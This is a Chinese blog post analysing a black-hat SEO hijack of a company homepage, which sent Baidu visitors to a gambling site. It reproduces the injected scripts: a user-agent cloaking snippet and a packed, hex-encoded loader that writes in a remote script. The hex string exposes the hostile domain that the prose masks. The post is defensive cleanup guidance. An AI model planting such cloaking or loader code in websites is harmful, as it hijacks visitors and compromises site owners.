[dns被劫持怎么办]详解分析,解决黑帽seo劫持问题

  [dns被劫持怎么办]详解分析,解决黑帽seo劫持问题。网站从百度搜索进去,首页发生跳转到菠菜网,开发公司的说可能是百度的问题,不是我们的问题,针对这个就想提一下,首先遇到问题就去分析问题,再去找出问题,然后解决问题,最后做好防范措施,而不是首先就想着推脱责任。

  直接进入正题site:(这里隐去了开发公司的网站网址,用来代替)

[dns被劫持怎么办]详解分析,解决黑帽seo劫持问题

  打开首页发生了跳转,到https://www.***.com/zh-cn/这个菠菜网,其他页面没有,劫持代码只放在首页,我们直接看代码

  如果是无法直接从首页查看源码的情况,那么在浏览器输入view-source:就可以查看网页源码

[dns被劫持怎么办]详解分析,解决黑帽seo劫持问题

  只需要看头部代码好熟悉,黑帽seo这行技术这几年也没什么创新,删除这两行就可以解决基本问题

  <script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu")==-1){document.title="中亿光伏-品牌光伏集成商"}</script>

  <script type="text/javascript"a?"":e(parseInt(c/a)))+((c=c%a)<35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\\n\\f\\8\\o\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0 \\0\\m\\4\\8\\d\\6\\0\\8\\j\\0\\5\\h\\a\\k\\a\\2\\1\\3\\9\\4\\0\\6 \\2\\3\\1\\d\\6\\t\\0\\0\\4\\2\\\u\\5\\5\\7\\7\\7\\b\\v\\1\\e\\a\\2\\q\\b\\1\\c\\f\\5\\r\\p\\s\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');',32,32,'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6e|x36|x38|x33|x35|x68|x3a|x62'.split('|'),0,{}))</script>

  Keywords和description进行Unicode解码,结果:

  ******官方平台开户,******官方备用网址,******官方网站是多少,******官方亚洲版,******.com官方网站,******官方投注,******官方网站,******官方中文版,******中文官方网站,英国******官方网,******官方投注网站,******官方投注网址,******官方网投,******官方备用,******官方网站是多少

  <script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu")==-1){document.title="中亿光伏-品牌光伏集成商"}</script>

  这段意思就是判断百度搜索访问用户进行跳转,你去360,搜狗搜索访问肯定是不会发生跳转的,然后我们再来解最后一段代码

[dns被劫持怎么办]详解分析,解决黑帽seo劫持问题

  先进行js解压,得出结果

[dns被劫持怎么办]详解分析,解决黑帽seo劫持问题

  javascript代码方式解密

  1:\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74 结果 document

  2:\\x77\\x72\\x69\\x74\\x65 结果 write

  3:\\x3c\\x73\\x63\\x72\\x69\\x70\\x74 \\x74\\x79\\x70\\x65\\x3d\\x22\\x74\\x65\\x78\\x74\\x2f\\x6a\\x61\\x76\\x61\\x73\\x63\\x72\\x69\\x70\\x74\\x22\\x73\\x72\\x63\\x3d\\x22\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x77\\x77\\x77\\x2e\\x62\\x63\\x64\\x61\\x73\\x38\\x2e\\x63\\x6f\\x6d\\x2f\\x33\\x36\\x35\\x2e\\x6a\\x73\\x22\\x3e\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e

  结果 <script type="text/javascript" src="https://www.***.com/365.js"></script>

  整段的解密结果就是:

  <script type="text/javascript"> window["document"]["write"] ('<script type="text/javascript" src="https://www.***.com/365.js"></script>'); </script>

  到了这里整个过程已经很清晰了,虽然我们删除了这段代码但只能暂时解决问题,需要找出webshell,做一个全面的网站和服务器安全策略,这种批量GetShell的基本上都是通过目前已经开放的漏洞,所以相对还是比较容易处理。

  大多数人对网站的理解还停留在视觉层面,网络安全的重要性反而被忽视,任何公司都需要提高对网络安全的重视。

文章标题:[dns被劫持怎么办]详解分析,解决黑帽seo劫持问题

上一篇:【文案标题怎么写】7个让销量暴增的商品标题文案套路
下一篇:【新站怎么推广】网站上线后怎样推广?

欢迎扫描关注我们的微信公众平台!

欢迎扫描关注我们的微信公众平台!